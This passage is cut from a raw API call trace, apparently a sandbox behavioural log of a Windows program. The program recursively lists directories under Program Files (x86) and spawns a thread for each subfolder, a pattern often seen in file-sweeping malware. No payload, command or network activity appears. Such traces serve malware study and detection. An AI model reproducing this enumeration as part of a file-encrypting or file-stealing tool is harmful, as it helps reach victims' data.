_String2=".") returned 1 [0046.049] wcscmp (_String1="UMLVB.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x22768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="UMLVC60.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="UMLVC60.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x3c378, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVS.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="UMLVS.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="UMLVS.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52af2500, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xad423880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52af2500, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x89190, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="URLREDIR.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="URLREDIR.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x582978, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="VVIEWDWG.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="VVIEWDWG.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0046.049] wcscmp (_String1="VVIEWER.DLL", _String2=".") returned 1 [0046.049] wcscmp (_String1="VVIEWER.DLL", _String2="..") returned 1 [0046.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0046.050] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0046.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0046.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 Thread: id = 136 os_tid = 0x840 [0046.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x3ffd98 [0046.050] wcscpy (in: _Dest=0x3ffd98, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0046.050] wcscat (in: _Dest=0x3ffd98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0046.051] wcscat (in: _Dest=0x3ffd98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*" [0046.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0046.051] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a60 [0047.115] wcscmp (_String1=".", _String2=".") returned 0 [0047.115] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.118] wcscmp (_String1="..", _String2=".") returned 1 [0047.118] wcscmp (_String1="..", _String2="..") returned 0 [0047.118] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDE", cAlternateFileName="")) returned 1 [0047.118] wcscmp (_String1="IDE", _String2=".") returned 1 [0047.118] wcscmp (_String1="IDE", _String2="..") returned 1 [0047.118] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4476d8 [0047.118] wcscpy (in: _Dest=0x4476d8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0047.118] wcscat (in: _Dest=0x4476d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0047.118] wcscat (in: _Dest=0x4476d8, _Source="IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0048.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4476d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0048.901] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0048.901] wcscmp (_String1="Packages", _String2=".") returned 1 [0048.901] wcscmp (_String1="Packages", _String2="..") returned 1 [0048.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416780 [0048.901] wcscpy (in: _Dest=0x416780, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" [0048.901] wcscat (in: _Dest=0x416780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\" [0048.901] wcscat (in: _Dest=0x416780, _Source="Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0048.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0048.902] FindNextFileW (in: hFindFile=0x440a60, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0048.902] FindClose (in: hFindFile=0x440a60 | out: hFindFile=0x440a60) returned 1 [0048.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0048.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd98) returned 1 [0048.902] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffe18) returned 1 Thread: id = 137 os_tid = 0x838 [0046.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418b90 [0046.051] wcscpy (in: _Dest=0x418b90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" [0046.051] wcscat (in: _Dest=0x418b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\" [0046.051] wcscat (in: _Dest=0x418b90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*" [0046.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425920 [0046.051] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405a0 [0046.795] wcscmp (_String1=".", _String2=".") returned 0 [0046.795] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.795] wcscmp (_String1="..", _String2=".") returned 1 [0046.795] wcscmp (_String1="..", _String2="..") returned 0 [0046.795] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x425920 | out: lpFindFileData=0x425920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.795] FindClose (in: hFindFile=0x4405a0 | out: hFindFile=0x4405a0) returned 1 [0046.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425920) returned 1 [0046.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418b90) returned 1 [0046.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 Thread: id = 138 os_tid = 0x830 [0046.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418c08 [0046.052] wcscpy (in: _Dest=0x418c08, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0046.052] wcscat (in: _Dest=0x418c08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0046.052] wcscat (in: _Dest=0x418c08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*" [0046.052] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425b88 [0046.052] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405a0 [0046.797] wcscmp (_String1=".", _String2=".") returned 0 [0046.797] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.797] wcscmp (_String1="..", _String2=".") returned 1 [0046.797] wcscmp (_String1="..", _String2="..") returned 0 [0046.797] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0046.797] wcscmp (_String1="Bin", _String2=".") returned 1 [0046.797] wcscmp (_String1="Bin", _String2="..") returned 1 [0046.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400798 [0046.797] wcscpy (in: _Dest=0x400798, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" [0046.797] wcscat (in: _Dest=0x400798, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\" [0046.797] wcscat (in: _Dest=0x400798, _Source="Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0049.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0049.051] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0049.051] FindClose (in: hFindFile=0x4405a0 | out: hFindFile=0x4405a0) returned 1 [0049.051] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425b88) returned 1 [0049.051] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c08) returned 1 [0049.051] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418938) returned 1 Thread: id = 139 os_tid = 0x82c [0046.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4166f0 [0046.053] wcscpy (in: _Dest=0x4166f0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0046.053] wcscat (in: _Dest=0x4166f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0046.053] wcscat (in: _Dest=0x4166f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0046.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425df0 [0046.053] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0046.798] wcscmp (_String1=".", _String2=".") returned 0 [0046.798] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.798] wcscmp (_String1="..", _String2=".") returned 1 [0046.798] wcscmp (_String1="..", _String2="..") returned 0 [0046.798] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0046.798] wcscmp (_String1="adodb.dll", _String2=".") returned 1 [0046.798] wcscmp (_String1="adodb.dll", _String2="..") returned 1 [0046.798] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0046.798] wcscmp (_String1="Microsoft.mshtml.dll", _String2=".") returned 1 [0046.798] wcscmp (_String1="Microsoft.mshtml.dll", _String2="..") returned 1 [0046.798] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0046.798] wcscmp (_String1="Microsoft.stdformat.dll", _String2=".") returned 1 [0046.798] wcscmp (_String1="Microsoft.stdformat.dll", _String2="..") returned 1 [0046.799] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0046.799] wcscmp (_String1="msdatasrc.dll", _String2=".") returned 1 [0046.799] wcscmp (_String1="msdatasrc.dll", _String2="..") returned 1 [0046.799] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0046.799] wcscmp (_String1="stdole.dll", _String2=".") returned 1 [0046.799] wcscmp (_String1="stdole.dll", _String2="..") returned 1 [0046.799] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0046.799] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0046.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425df0) returned 1 [0046.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4166f0) returned 1 [0046.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446550) returned 1 Thread: id = 140 os_tid = 0x828 [0046.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420d28 [0046.055] wcscpy (in: _Dest=0x420d28, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0046.055] wcscat (in: _Dest=0x420d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0046.055] wcscat (in: _Dest=0x420d28, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0046.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426058 [0046.055] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x426058 | out: lpFindFileData=0x426058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, 